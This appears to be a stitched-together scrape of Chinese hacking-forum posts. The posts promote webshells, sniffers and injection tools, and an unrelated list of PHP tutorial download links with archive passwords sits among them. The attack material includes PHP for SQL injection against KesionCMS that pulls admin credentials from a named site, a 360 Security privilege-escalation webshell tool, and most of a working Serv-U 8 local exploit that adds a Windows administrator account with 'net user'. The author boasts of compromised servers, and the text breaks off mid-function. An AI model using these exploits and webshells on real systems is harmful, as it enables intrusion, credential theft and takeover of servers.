科讯kesion 6.x - 7.06 继续利用
今天跟某黑阔搞一edu，很悲催的站长，前段时间才装的科讯6.5，现在直接被爆菊花。。。
t00ls的大牛只提供了利用方法，我爆了md5，可是解不出···mssql版的科讯，运气好的能备份shell呢，不能放弃鸟。于是，就着网上的一篇分析文，写了段php，本地搭建php+apache后，直接丢工具就可以跑了。www.t00ls.net( {! }! ~/ G, m" T) y0 ?
T00LS! h1 P: X4 D# X0 H% C5 b
<?phpSecurity: r$ D M$ `4 k3 Y% W$ u
/*
$str = "' union Select top 10 AdminID,UserName&chr(124)&PassWord From KS_Admin";
for ($i=0; $i<=strlen($str); $i++){
$temp .= "%25".base_convert(ord($str[$i]),10,16);0 H# m) ^4 @7 {- K, v
}
echo $temp."0"; - 低调求发展- g8 W1 J9 T7 X8 w3 c" V- ]8 W N. _
*/Security' b7 k, A6 b( I7 w; P" O' M
// http://www.edu.cn/user/reg/regajax.asp?action=getcityoption&province=%2566%2527%2520%256F%2572%2520%2531%253D%2531%25006 Z# G' \( ?6 L; I+ }3 }
// 所有信息Security' \2 b6 z5 x. q; t# d: f
$id = $_GET['id'];
$url = "http://www.edu.cn/user/reg/regajax.asp?action=getcityoption&province=";T00LS1 P# D0 M3 b( @) s+ N
$param = "f' or 1=1 and 1=".$id; // ?id=1
for ($i = 0; $i < strlen($param); $i ++)
{
$temp .= "%25".base_convert(ord($param[$i]),10,16);www.t00ls.net0 G. d* z8 [5 m& R5 T0 }
}
$url = $url.$temp."%2500";
//echo $url;
//echo file_get_contents($url);
echo GetSources($url);: Y) _4 x+ i9 D6 F7 }: K
Security% d: T) e; e& ^4 K6 M
function GetSources($Url,$User_Agent='',$Referer_Url='') //抓取某个指定的页面
{
//$Url 需要抓取的页面地址 - 低调求发展6 s' Y, I H x; A% h F) ]
//$User_Agent 需要返回的user_agent信息 如“baiduspider”或“googlebot”
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $Url);
curl_setopt ($ch, CURLOPT_USERAGENT, $User_Agent); - 低调求发展# d: q+ d5 H/ s: [, z
curl_setopt ($ch, CURLOPT_REFERER, $Referer_Url); - 低调求发展; x/ u8 B9 y/ d* Q( _
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); - 低调求发展' z# Z2 M7 d0 c! U* j. R
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);www.t00ls.net6 b+ g) W' b% H4 ]. _' I
$MySources = curl_exec ($ch);T00LS5 g$ m- ^6 D9 `/ L! M
curl_close($ch);
return $MySources;
} -
?>
自己看着修改就是了。
- 低调求发展* H$ H6 s% z/ U- u" n3 y
这里还有一个问题，php 的file_get_contents不能获取505错误的具体信息，所以不能报错注射，只能盲注，希望大牛能指点一下···Security# ]6 I* j2 C$ G5 \, o! W
! w9 Q- J: i: K' e! ]+ z1 ?
解决了···
php100视频教程下载（全集含解压密码）更新至97
原始地址列表整理：
http://wt6.php100.com/php100-1.rar
http://wt6.php100.com/php100-2.rar
http://wt6.php100.com/php100-3.rar
http://wt6.php100.com/php100-4.rar
http://wt6.php100.com/php100-5.rar
http://wt6.php100.com/php100-6.rar
http://wt6.php100.com/php100-7.rar
http://wt6.php100.com/php100-8.rar
http://wt6.php100.com/php100-9.rar
http://wt6.php100.com/php100-10.rar
http://wt6.php100.com/php100-11.rar
http://wt6.php100.com/php100-12.rar
http://wt6.php100.com/php100-13.rar
http://wt6.php100.com/php100-14.rar
http://wt6.php100.com/php100-15.rar
http://wt6.php100.com/php100-16.rar
http://wt6.php100.com/php100-17.rar
http://wt6.php100.com/php100-18.rar
http://wt6.php100.com/php100-19.rar
http://wt6.php100.com/php100-20.rar
http://wt6.php100.com/php100-21.rar
http://wt6.php100.com/php100-22.rar
http://wt6.php100.com/php100-23.rar
http://wt6.php100.com/php100-24.rar
http://wt6.php100.com/php100-25.rar
http://wt6.php100.com/php100-26.rar
http://wt6.php100.com/php100-27.rar
http://wt6.php100.com/php100-28.rar
http://wt6.php100.com/php100-29.rar
http://wt6.php100.com/php100-30.rar
http://wt6.php100.com/php100-31.rar
http://wt6.php100.com/php100-32.rar
http://wt6.php100.com/php100-33.rar
http://wt6.php100.com/php100-34.rar
http://wt6.php100.com/php100-35.rar
http://wt6.php100.com/php100-36.rar
http://wt6.php100.com/php100-37.rar
http://wt6.php100.com/php100-38.rar
http://wt6.php100.com/php100-39.rar
http://wt6.php100.com/php100-40_c.rar
http://wt6.php100.com/09/php100-41_u.rar
http://wt6.php100.com/09/php100-42_m.rar
http://wt6.php100.com/09/php100-43.rar
http://wt6.php100.com/09/php100-44.rar
http://wt6.php100.com/09/php100-45.rar
http://wt6.php100.com/09/php100-46.rar
http://wt6.php100.com/09/php100-47_s.rar
http://wt6.php100.com/09/php100-48_i.rar
http://wt6.php100.com/09/php100-49_s.rar
http://wt6.php100.com/09/php100-50_e.rar
http://wt6.php100.com/09/php100-51_m.rar
http://wt6.php100.com/09/php100-52_h.rar
http://wt6.php100.com/09/php100-53_o.rar
http://wt6.php100.com//09/php100-54_.rar
http://wt6.php100.com/09/php100-55_j.rar
http://wt6.php100.com/09/php100-56_n.rar
http://wt6.php100.com/09/php100-57_s.rar
http://wt6.php100.com/09/php100-58_d.rar
http://wt6.php100.com/09/php100-59_a.rar
http://wt6.php100.com/09/php100-60.rar
http://wt6.php100.com//09/php100-61_!.rar
http://wt6.php100.com//09/php100-62_u.rar
http://wt6.php100.com/09/php100-63-1_x.rar
http://wt6.php100.com/09/php100-64.rar
http://wt6.php100.com/09/php100-65_ss.rar
http://wt6.php100.com/09/php100-66_p.rar
http://wt6.php100.com/09/php100-67_o.rar
http://wt6.php100.com/09/php100-68_m.rar
http://wt6.php100.com/09/php100-69_d.rar
http://wt6.php100.com//10/php100-70.rar
http://wt6.php100.com//10/php100-71_s.rar
http://wt6.php100.com/10/php100-72_x.rar
http://wt6.php100.com/10/php100-73_h.rar
http://wt6.php100.com/10/php100-74_z.rar
http://wt6.php100.com/10/php100-75-vip.rar 解压密码：php100-18293-2938-2839-348-#
http://wt6.php100.com/10/php100-76_u.rar 解压密码：php100-18634-6254-1001-283-#
http://wt6.php100.com/10/php100-77_p.zip 解压密码：php100-18394-9384-2333-314-#
http://wt6.php100.com//10/php100-78.zip 解压密码：php100-28323-5837-2734-392-#
http://wt6.php100.com/10/php100-79_u.zip 解压密码：php100-83343-5234-8849-122-#
http://wt6.php100.com/10/php100-80_s.zip 解压密码：php100-18622-5751-1311-233-#
http://wt6.php100.com/10/php100-81.zip 应该是忘记设密码了
http://wt6.php100.com/10/php100-82.rar 解压密码:php100-18028-4321-1202-942-#
http://wt6.php100.com/10/php1000-83.rar 解压密码:php100-18942-3321-1232-010-#
http://wt6.php100.com/10/php10000-84.rar 解压密码:php100-18823-3333-1322-842-#
http://wt6.php100.com/10/php100-85.rar 解压密码:php100-00000-0000-0000-000-#
http://down3.php100.com:81/php100/10/php100-86.rar 解压密码:php100-18837-3847-7576-624-#
http://down3.php100.com:81/php100/10/php100-87.rar 解压密码：php100-19746-3293-2273-929-#
http://down3.php100.com:81/php100/10/88.rar 解压密码: php100-17374-3828-4877-183-#
第89讲以后解压密码都为php100.com
http://down3.php100.com:81/php100/10/php100-89.rar
http://down3.php100.com:81/php100/10/php100-90.rar
http://down3.php100.com:81/php100/10/php100-91.rar
http://down3.php100.com:81/php100/10/php100-92.rar
http://down3.php100.com:81/php100/10/php100-93.rar
http://dx.php100.com:83/10/php100-94.rar
http://dx.php100.com:83/10/php100-95-.rar
http://dx.php100.com:190/10/php100-96.rar
http://dx.php100.com:190/10/php100-97.rar
PHP100视频教程1：环境配置与代码调试
PHP100视频教程2：PHP的数据类型与源码调试
PHP100视频教程3:常用PHP运算类型介绍与应用
PHP100视频教程4： PHP条件语句介绍与应用
PHP100视频教程5：PHP循环语句的介绍与应用
PHP100视频教程6：PHP数组的创建修改应用
PHP100视频教程7：PHP函数和自定义函数
PHP100视频教程8：Mysql 简介和创建新的数据库
PHP100视频教程9：数据库中的常用SQL语句
PHP100视频教程10：MYSQL在PHP5中的应用
PHP100视频教程11：学习制作PHP+MYSQL留言板（上）
PHP100视频教程12：学习制作PHP+MYSQL留言板（下）
PHP100视频教程13：PHP+MYSQL分页原理
PHP100视频教程14：PHP上传原理及应用
PHP100视频教程15：PHP生成HTML文件原理
PHP100视频教程16：PHP小偷程序原理和实例
PHP100视频教程17：PHP面向对象开发的学习（一）
PHP100视频教程18：PHP面向对象开发的学习（二）
PHP100视频教程19：PHP面向对象开发的学习（三）
PHP100视频教程20：PHP面向对象开发的学习（四）
PHP100视频教程21：PHP面向对象开发的学习（五）
PHP100视频教程22：PHP面向对象开发的学习（六）
PHP100视频教程23：PHP面向对象开发的学习（七）
PHP100视频教程24：PHP面向对象开发的学习（八）
PHP100视频教程25：PHP面向对象开发的学习（九）
PHP100视频教程26：制作自己的PHP+MYSQL的类
PHP100视频教程27：PHP模板引擎Smarty入门使用
PHP100视频教程28：PHP模板引擎Smarty的变量操作符
PHP100视频教程29：PHP模板引擎Smarty内置函数
PHP100视频教程30：PHP模板引擎Smarty缓存应用
PHP100视频教程31：PHP在线编辑器fckeditor应用
PHP100视频教程32：PHP5中Cookie与 Session详解
PHP100视频教程33：PHP5中图片验证码的制作（上）
PHP100视频教程34：PHP5中图片中文验证码（下）
PHP100视频教程35：PHP5文字图片混合水印与缩略图
PHP100视频教程36：PHP中正则表达式学习及应用（一）
PHP100视频教程37：PHP中正则表达式学习及应用（二）
PHP100视频教程38：PHP中正则表达式学习及应用（三）
PHP100视频教程39：PHP中正则表达式学习及应用（四）
PHP100视频教程40：PHP中开发自己的-UBB代码
PHP100视频教程41：PHP站内搜索、多关键字、加亮显示
PHP100视频教程42：PHP通过mail()或Socket发邮件
PHP100视频教程43：PHP中MVC学习之ThinkPHP（上）
PHP100视频教程44：PHP中MVC学习之ThinkPHP（下）
PHP100视频教程45：如何用PHP开发一个完整的网站
PHP100视频教程46：PHPMyAdmin功能操作详解
PHP100视频教程47：PHP输出CSV和EXCEL两种简单的方法
PHP100视频教程48：Ajax+PHP快速上手及应用
PHP100视频教程49： Ajax+PHP打造等待进度条效果（二）
PHP100视频教程50： Ajax+PHP检查用户名或邮件（三）
PHP100视频教程51：PHP+MYSQL会员系统的开发(上)
PHP100视频教程52：PHP+MYSQL会员系统的开发（下）
PHP100视频教程53：PHP如何防止注入及开发安全
PHP100视频教程54：Apache Rewrite 拟静态配置
PHP100视频教程55：PHP5中使用PDO连接数据库
PHP100视频教程56：制作PHP安装程序的原理和步骤
PHP100视频教程57：PHP备份数据库原理和方法
PHP100视频教程58：快速设计一个企业网站之BIWEB
PHP100视频教程59：关于BIWEB常见问题和结构分析
PHP100视频教程60：PHP与数据库代码开发规范
PHP100视频教程61：PHP+Mysql新闻系统的开发一
PHP100视频教程62：PHP+Mysql新闻系统的开发二
PHP100视频教程63：PHP+Mysql新闻系统的开发三（上）
PHP100视频教程64：PHP+Mysql新闻系统的开发四
PHP100视频教程65：PHP+Mysql新闻系统的开发五
PHP100视频教程66：PHP+Mysql新闻系统的开发六
PHP100视频教程67：PHP+Mysql新闻系统的开发七
PHP100视频教程68：PHP+Mysql新闻系统的开发八
PHP100视频教程69：PHP+Mysql新闻系统的开发九
PHP100视频教程70：PHP 5.3.1 + Apache + Mysql配置
PHP100视频教程71：PHP SQLite 的使用和配置
PHP100视频教程72：PHP+SQLite 常用函数及应用
PHP100视频教程73：PHP MemCached高级缓存配置
PHP100视频教程74：PHP MemCached 高级缓存应用
PHP100视频教程75：Zend framework 配置与调试
PHP100视频教程76：Zend framework 数据库操之读取与插入
PHP100视频教程77：Zend framework数据库操作之编辑和视图函数
PHP100视频教程78：PHP+Flash多文件异步上传 swfupload
PHP100视频教程79：PHP上传RAR压缩包并解压目录
PHP100视频教程80：ADODB PHP 数据库万能引擎类（上）
PHP100视频教程81：ADODB PHP 数据库万能引擎类（下）
PHP100视频教程82： PHP开发通用采集入库程序
PHP100视频教程83： PHP开发通用采集入库程序二
PHP100视频教程84：PHP开发通用采集入库程序三
PHP100视频教程85：PHP 图表类 JPGraph 入门配置与应用
PHP100视频教程86：PHP JPGraph 中文字体和背景设置
PHP100视频教程87：PHP 之 CURL 传输与获取功能
PHP100视频教程88：PHP 之 CURL模拟登陆并获取数据
PHP100视频教程89：PHP XML 的 DOMDocument 读取功能
PHP100视频教程90：PHP DOM 创建生成多功能 XML文件
PHP100视频教程91：PHP修改和删除XML内容的原理和方法
PHP100视频教程92：在线支付接口之PHP支付宝接口开发
PHP100视频教程93：在线支付接口之PHP云网接口开发
PHP100视频教程94：SVN (Subversion) 配置与安装调试
PHP100视频教程95：SVN (Subversion) 应用与技巧
PHP100视频教程96：PHP程序员经典面试&笔试题目解析（上）
PHP100视频教程97：PHP程序员经典面试&笔试题目解析（下）
感谢php100提供如此优秀的资源
感觉非常好的PHP资源、 分享
Websniff 说明文档
作者：cnqing
PS:应邀写了篇帮助
Websniff 1.0 是user权限的 rawsocket sniff，可以截取ftp,http,smtp ...等密码，在渗透过程中绝对实用的工具。cncert网站发布的websniff需要 .net 2.0，客户端用firefox，如果用IE会让你错过一个参数设置。
先看下截图
bindip: 有多个IP的情况下，选择要监听的IP地址。只有一个IP，就不用选了。
filterport: 要监听的端口，只能同时监听一个，该参数匹配源地址或目的地址。
MiniSizeToCapture: 要捕获的数据包大小最小长度，例：设为40 那么只抓长度大于40的数据包。
KeyWordsFilter:要包含的关键字，例：设为"passwd " 在符合上面条件的数据包进一步过滤包含"passwd"的数据包，1.0版本不支持多关键字。
Logfile:捕获的数据包文件存放位置，必须为一个可写目录。
StopAttime:定时停止，格式为给出的格式，必须设置这个参数。
按钮功能 ：
启动 启动当前任务，不要重复启动。
停止 停止当前任务。
刷新状态 可以查看当前抓到的数据包数和任务终止时间。
注意：欲下载数据包文件前必须停止，或等待任务终止。最好不要关闭当前页，以便控制本次任务状态。
常用设置方案：
1.FTP 如上图
2.HTTP 表单记录
bindip=IP地址
filterport: 80
MiniSizeToCapture: 0
KeyWordsFilter:user=
Logfile:捕获的数据包文件存放位置，必须为一个可写目录。
StopAttime:定时停止，格式为给出的格式，必须设置这个参数。
停止任务后将数据包文件下载到本地，使用wireshark或记事本查看内容。
关于抓取到的内容：
在有些情况下只能抓取到下行数据，即向服务器提交的数据，对记录FTP,HTTP表单,SMTP 这已足够。
后续版本将以ASPXshell客户端插件形式发布
360安全卫士本地提权漏洞的webshell利用程序
不知道该说什么好了，以前拿了很多shell，一直懒得提权，一是没那个必要，二是提权太累了，三是服务器类型的肉鸡多了也没啥用。不过要是能让我一下子就成功提权，何乐而不为呢？
于是360本地提权来了，最近已经沸沸扬扬的了，不多发表过多评论，只是觉得做公司更要厚道；本人菜另外还有很多兄弟在360，不说什么了，发了本地提权的利用程序吧。friddy那里已经有一份了，是用来替换5下shift为cmd.exe的：360本地提权webshell下测试程序。
瑞星说是“bregdrv.sys和bregdll.dll”出的问题，然后http://www.sebug.net/exploit/19048/这个poc也是直接load这个dll的，于是这个利用程序也是基于这个的。webshell下使用，guest权限即可，需要Wscript.shell支持，功能主要是：
1.开启终端服务，端口为3389；用法：360.exe port
2.替换5下shift为cmd；用法：360.exe sethc
另外大家可以参考下包子的文章：360 0day漏洞及相关内幕，360很多dll存在类似的调用问题。据360的公告介绍已经打补丁了，具体是真是假，大家自己试试这个工具还能不能用吧。
这个工具不针对任何公司和个人，仅限爱好渗透的同学们进行交流。话说昨天从下午到晚上，我2、3年来拿到的仍然健在的shell的满足3389打开与安装了360安全卫士的服务器我都提了一下权，发现360在服务器的普及率也高的惊人，至少有80%，怪不得大家都提权提的爽死了，于是乎，很多肉鸡终于找到家了。
现在终于知道服务器类型的肉鸡的好处了，一是用来上线；二是用来摆放垃圾未备案域名；三是用来跑密码...看来之前轻视了。
题外话：
上周六晚，sec@nanjing的孩子们又聚了一次，这次还有嘉宾：flashsky前辈，于是，吃饭的同时，使劲的瞻仰与膜拜诸位大牛，但愿有朝一日能跟他们一样牛：）
如果blog被和谐，则去国外买主机；关闭oldblog，以后忽略asp走php路线了。
演示：
(注：本图片只限学习，拒绝按此方法进行破坏或者瑞星公司拿此图片作为炒作)
下载：http://www.oldjun.com/download/360.exe
附件: 360.rar (14.87 K, 下载次数:249)
中国菜刀最新版1.0
中国菜刀最新版1.0
很不错的一个工具
可惜的是这个版本变成鸟文的了
不知道作者是怎么想的
堂堂中国人，你国语不用
竟然用外国人的话
唉
无语
见图
附件: caidao.zip (152.95 K, 下载次数:928)
创建VPN 突破内网的小工具
来源：天阳网络技术论坛
作者：Open
作用1：拿到WebShell后发现是内网机的时候.又想登陆3389 不仿一用
作用2：*********
作用3:**********
无壳、无叉叉 MD5:8b798790e125e3cb30045aa6ed9ab795
C:\>vpn2
CreateVpnConnection By:Open QQ:9780399
Usage: Vpn.exe [ConnectName] [Domain] [Username] [Password]
C:\>vpn vpn 202.*.*.* vpn vpn
Create Success........!
Connection Success........!
附件: vpn.rar (9.41 K, 下载次数:297)
pangolin 2.5
知道是什么工具的，就不用说了，不知道是什么工具的，说了也没用。。。
以前用的都是1.3版本的，只是昨天在拿一个站的时候，1.3的检测不出来，手工又出错，后来丢给群里的一个朋友，他搞出来了，问他，原来用的还是工具，就 panglin ，还是2.5版本的。
原来穿山甲的2.5的版本都出来了啊。。。
再一看，哟，3.0的也出来了呢，破解版的也有。。。。不过占用内存太大，太卡。。。
功能倒是强大多了。。。
跟我一样还没用过这个新版本的朋友，不妨下载试用一下。。。
下载地址:http://www.st999.cn/blog/tools/pangolin 2.5.rar
php+mysql5半自动注入工具
作者:Mikawawa
经常碰到这样的注入环境，但有的时候网上给的工具并不能完全应付所有的环境。比如有的会有过滤啊啥的，为了方便我特意写了这个工具。基本上可以应付所有的php+mysql5的注入环境，因为自己可以直接修改注入语句，所以只要手工能绕过的过滤，该工具都可以。而且我添加了最新使用group_concat获取数据的方式，可以大大降低注入时提交的语句量和获取数据的时间。先看看界面吧：
注入界面应该都能看得懂吧。中间就是查询语句的构造。其中最重要的就是"select"框后面的内容了，要将页面上能显出的对应数字替换成"MIKA_MIKA"。
Exploiters区域里的exploit databases是用来获取当前所有数据库的，直接点击一下就可以获取，不需要手动修改注入语句设置（你非要自己修改也没办法）。在下面的结果区域里，右键点击某条记录然后选择add to databse list可以将该条记录添加到f注入语句中的“from”输入框后面的列表框里以及“=”号后面的列表框里，这样就不用手工输入了（你非要手工输入没办法）。
exploit tables直接点击是获取当前数据库的所有表（即“=”号框后面的列表框选择的是database()），要获取其它数据库的表请修改更改"="号后面列表框里的内容。在下方显示的内容记录上右键可以选择add to table list可以添加到"."框后面的列表框以及"="号后面的列表框中。
exploit columns是列举表的字段名字，修改"="后的表名字即可点击获取（其它程序会自动设置）。可以在下面的内容里右键选择add to column list添加到data harvest settings 里的“MIKA_MIKA=”后面的第二个框里。这里可以按住ctrl键一次添加多个字段。
exploit data是获取数据了。在data harvest settings 里的“MIKA_MIKA=”后面的第二个框里选择添加的字段（你非要手工输入我也没办法），然后修改相应的数据库和表明为前面获取到的（"from"框后面的内容）。然后点击获取.
exploit data获取到的数据里，可以多选（按住ctrl键或者按住shit键选择第一条，然后再选择最后一条）,然后右键选择 copy as text，可以将数据复制出来。
在这里我强调一下，data harvest settings里的第一个框就是设置如何获取数据了，默认是第一条用concat_ws逐条获取，也就是每条记录都要提交一次请求。而最后一条是用group_concat，也就是一次性获取所有内容。由于某些情况下，页面返回内容有长度限制，所以使用group_concat会获取 不完全，这种情况下只能用concat_ws了。
附件: mysql5inj.zip (281.33 K, 下载次数:731)
aspxspy2.0 功能强大的aspx大马
昨天在拿一外国站时，上传的aspx大马成了乱码，传了各种不同的大马都不行，修改了aspx大马的codepage也没用，就喧嚣参考hackest牛牛的
“日本站为什么无法正常解释ASP马？”
https://forum.eviloctal.com/read-htm-tid-26392-keyword-asp.html
参考这个方法，也是不顶用。。。实在没办法，去群里求助了下，还好有“线线”兄弟帮忙，传了个aspxspy的大马给我，就搞定了，嘿嘿。。。
在这里，向朋友们推荐下这个大马，功能强大的很。。。
1.开发环境VS2008 + C#，兼容FrameWork1.1/2.0，基本实现代码分离,CSS方便参考了phpspy。
2.密码为32位MD5加密(小写) 默认为 admin.
3.全部采用POST方式提交数据，增强了隐蔽性。
4.增强了IIS探测功能，遍历IIS站点信息，绝对路径，多域名绑定，以及IIS账号密码。
5.增加了对指定文件的搜索功能。
6.修正了一些数据库操作的BUG。
7.增强了对注册表的读取，此部分由BloodSword完成，在此感谢。
8.修正了对端口的多线程扫描
9.增强了端口转发功能，参考了Cnqing的一些代码，在此感谢。
免责声明：此工具为安全检测工具，任何人使用此工具，做违法国家法律的事情，责任自负！
联系方式：E-mail:master@rootkit.net.cn Blog:www.rootkit.ne
附件: aspxspy2.rar (17.48 K, 下载次数:5248)
Serv-U FTP Server v8 本地提权
作者：空虚浪子心
发布日期：2009-08-05
更新日期：2009-08-05
受影响系统：
serv-u8
不受影响系统：
其他版本不受影响
描述：
看cnbeta发现su出8这个版本了。
想想以前写过一个7的本地提权。
不知道8有什么安全方面的更改。
下载来研究下，发现居然还是可以提权的，只是su7的那个不能直接用，稍微修改了下执行的流程。
Su8的管理平台是http的，继承了su7的方式。
抓包，分析，发现了以下路程是可以利用的。
1， 管理员从管理控制台打开web页面时，是不需要验证密码的。
2， 管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3， 管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。
4， 管理员添加了用户的这个包和设置权限这个包，是分开的。
所以，我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆，exec命令。达到提权。
前面su7已经说了很多，这里简单的说下好了。
.....登陆什么的。
1，获取ID。
2，给这个id添加权限。
3，给这个id赋予用户名，密码，目录，权限。
4，登陆后执行系统命令。
这段代码是不能直接当工具使用的。
<*来源：kxlzx（www.inbreak.net）
*>
测试方法：
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<?
/*
serv-u 8 local exp ver 1.0
如果你在自己的服务器上发现这个文件，厄。。。那太遗憾了，别来找我。
这个文件到处都是，人人都能拿到。
*/
?>
<html>
<title>Serv-u 8 local exp ver 1.0</title>
<body>
<script>
function fun_showDiv(show)
{
document.getElementById(show).style.display="block";
}
</script>
<b>Serv-u 8 local exp ver 1.0</b>
<form id="form1" name="form1" method="post" action="?">
<p><a href="#" onclick="fun_showDiv('adminpassdiv')">管理员密码</a>
<input type="text" name="admin_pwd" value="" />
</p>
<p>直接提权！
<input type="submit" name="cmd" value="提权" />
<a href="#" onclick="fun_showDiv('QAdiv')">QA</a>
</p>
<pre>
<?
//Global var
$port=43958;
$host="127.0.0.1";
$sessionid="";
$getuserid="";
$ftpport=21;
$ftpuser="lalala_hacked";
$ftppwd=$_POST['admin_pwd'];
$exec_addUser="site exec c:/windows/system32/net.exe user ".$ftpuser." ".$ftppwd." /add";
$exec_addGroup="site exec c:/windows/system32/net.exe localgroup administrators ".$ftpuser." /add";
if($_POST['cmd']) {
//login-----------------------------------------
$sock_login = fsockopen($host, $port);
$URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
$post_data_login['user'] = "";
$post_data_login['pword'] = $ftppwd;
$post_data_login['language'] = "zh%2CCN&";
$ref="http://".$host.":".$port."/?Session=39893&Language=zh,CN&LocalAdmin=1";
$postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);
fputs($sock_login, $postStr);
$result = fread($sock_login, 1280);
$sessionid = getmidstr("<sessionid>","</sessionid>",$result);
if ($sessionid!="")
echo "登陆成功！";
fclose($sock_login);
//login-----------------------------------------
//getOrganizationId-------------------------------
$OrganizationId="";
$sock_OrganizationId = fsockopen($host, $port);
$URL='/Admin/ServerUsers.htm?Page=1';
$postStr = createRequest($port,$host,$URL,"",$sessionid,"");
fputs($sock_OrganizationId, $postStr);
$resultOrganizationId="";
while(!feof($sock_OrganizationId)) {
$result = fread($sock_OrganizationId, 1024);
$resultOrganizationId=$resultOrganizationId.$result;
}
$strTmp = "OrganizationUsers.xml&ID=";
$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);
$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,"\""));
fclose($sock_OrganizationId);
if ($OrganizationId!="")
echo "获取OrganizationId".$OrganizationId."成功！";
//getOrganizationId-------------------------------
//getuserid---------------------------------------
$getuserid="";
$sock_getuserid = fsockopen($host, $port);
$URL="/Admin/XML/User.xml?Command=AddObject&Object=COrganization.".$OrganizationId.".User&Temp=1&Sync=546666666666666663";
$ref="http://".$host.":".$port."/Admin/ServerUsers.htm?Page=1";
$post_data_getuserid="";
$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);
fputs($sock_getuserid, $postStr);
$result = fread($sock_getuserid, 1280);
$result = getmidstr("<var name=\"ObjectID\" val=\"","\" />",$result);
fclose($sock_getuserid);
$getuserid = $result;
if ($getuserid!="")
echo "获取用户ID".$getuserid."成功！";
//getuserid---------------------------------------
//addpower-----------------------------------------
$sock_addpower = fsockopen($host, $port);
$URL="/Admin/XML/Result.xml?Command=AddObject&Object=CUser.".$getuserid.".DirAccess&Sync=1227081437828";
$post_data_addpower['Access'] = "7999";
$post_data_addpower['MaxSize'] = "0";
$post_data_addpower['Dir'] = "c:\\";
$post_data_addpower['undefined'] = "undefined";
$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
fputs($sock_addpower, $postStr,strlen($postStr));
$result = fread($sock_addpower, 1280);
fclose($sock_addpower);
echo "添加权限成功！";
//addpower-----------------------------------------
//adduser-----------------------------------------
$sock_adduser = fsockopen($host, $port);
$URL="/Admin/XML/Result.xml?Command=UpdateObject&Object=COrganization.".$OrganizationId.".User.".$getuserid."&Sync=1227071190250";
$post_data_adduser['LoginID'] = $ftpuser;
$post_data_adduser['FullName'] = "";
$post_data_adduser['Password'] = 'hahaha';
$post_data_adduser['ComboPasswordType'] = "%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81";
$post_data_adduser['PasswordType'] = "0";
$post_data_adduser['ComboAdminType'] = "%E6%97%A0%E6%9D%83%E9%99%90";
$post_data_adduser['AdminType'] = "";
$post_data_adduser['ComboHomeDir'] = "/c:";
$post_data_adduser['HomeDir'] = "/c:";
$post_data_adduser['ComboType'] = "%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7";
$post_data_adduser['Type'] = "0";
$post_data_adduser['ExpiresOn'] = "0";
$post_data_adduser['ComboWebClientStartupMode'] = "%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF";
$post_data_adduser['WebClientStartupMode'] = "";
$post_data_adduser['LockInHomeDir'] = "0";
$post_data_adduser['Enabled'] = "1";
$post_data_adduser['AlwaysAllowLogin'] = "1";
$post_data_adduser['Description'] = "";
$post_data_adduser['IncludeRespCodesInMsgFiles'] = "";
$post_data_adduser['ComboSignOnMessageFilePath'] = "";
$post_data_adduser['SignOnMessageFilePath'] = "";
$post_data_adduser['SignOnMessage'] = "";
$post_data_adduser['SignOnMessageText'] = "";
$post_data_adduser['ComboLimitType'] = "%E8%BF%9E%E6%8E%A5";
$post_data_adduser['LimitType'] = "Connection";
$post_data_adduser['QuotaBytes'] = "0";
$post_data_adduser['Quota'] = "0";
$post_data_adduser['Access'] = "7999";
$post_data_adduser['MaxSize'] = "0";
$post_data_adduser['Dir'] = "%25HOME%25";
$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
fputs($sock_adduser, $postStr,strlen($postStr));
$result = fread($sock_adduser, 1280);
fclose($sock_adduser);
echo "添加用户成功！";
//adduser-----------------------------------------
//exec-------------------------------
$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "USER ".$ftpuser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "PASS hahaha";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = $exec_addUser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fread($sock_exec, 1024);
echo "执行".$exec_addUser."返回了$recvbuf";
fclose($sock_exec);
$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "USER ".$ftpuser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "PASS hahaha";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = $exec_addGroup."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fread($sock_exec, 1024);
echo "执行".$exec_addGroup."返回了$recvbuf";
fclose($sock_exec);
echo "好了，自己3389上去清理ftp用户日志吧！";
//exec-------------------------------
}
/** function createRequest
@port_post : administrator port $port=43958;
@host_post : host $host="127.0.0.1";
@URL_post : target $URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
@post_data_post : arraylist $post_data['user'] = "";...
@return httprequest string
*/
function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){
$data_string="";
if ($post_data_post!="")
{
